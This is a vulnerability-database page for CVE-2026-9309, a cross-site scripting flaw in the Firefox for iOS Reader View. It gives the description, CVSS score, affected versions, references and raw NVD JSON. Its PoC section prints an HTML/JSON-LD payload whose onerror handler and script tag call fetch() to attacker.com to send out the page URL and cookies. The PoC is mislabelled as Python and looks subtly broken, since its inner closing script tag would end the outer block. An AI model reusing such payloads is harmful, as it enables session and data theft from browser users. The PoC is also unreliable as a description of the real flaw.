CVE-2026-9309

Description

Firefox for iOS Reader View did not properly escape HTML tags in JSON-LD metadata. A malicious page could inject markup that changed Reader View behavior and leaked sensitive URL parameters. These parameters could then be used to access internal pages, potentially resulting in arbitrary JavaScript execution in an internal origin. This vulnerability was fixed in Firefox for iOS 151.2.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:*:iphone_os:*:* - VULNERABLE

Firefox for iOS < 151.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9309: Firefox iOS Reader View XSS via JSON-LD -->
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": "Malicious Article",
  "description": "<img src=x onerror='fetch(\"https://attacker.com/log?data=\"+encodeURIComponent(window.location.href)).then(r=>r.text()).then(d=>document.body.innerHTML=d);'>",
  "author": {
    "@type": "Person",
    "name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
  }
}
</script>

<!-- Simulated attack flow -->
<!-- 1. Victim opens this page in Firefox for iOS -->
<!-- 2. Victim switches to Reader View -->
<!-- 3. Malicious JSON-LD payload executes, stealing URL params -->
<!-- 4. Attacker uses stolen params to access internal pages -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9309
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9309
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9309/
[4] VulDB https://vuldb.com/cve/CVE-2026-9309
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2036573
[6] https://www.mozilla.org/security/advisories/mfsa2026-53/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9309", "sourceIdentifier": "[email protected]", "published": "2026-06-01T13:16:33.623", "lastModified": "2026-06-03T20:02:29.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Firefox for iOS Reader View did not properly escape HTML tags in JSON-LD metadata. A malicious page could inject markup that changed Reader View behavior and leaked sensitive URL parameters. These parameters could then be used to access internal pages, potentially resulting in arbitrary JavaScript execution in an internal origin. This vulnerability was fixed in Firefox for iOS 151.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "151.2", "matchCriteriaId": "B45EA8E8-B058-45B8-B0AB-77F61594BC17"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2036573", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-53/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}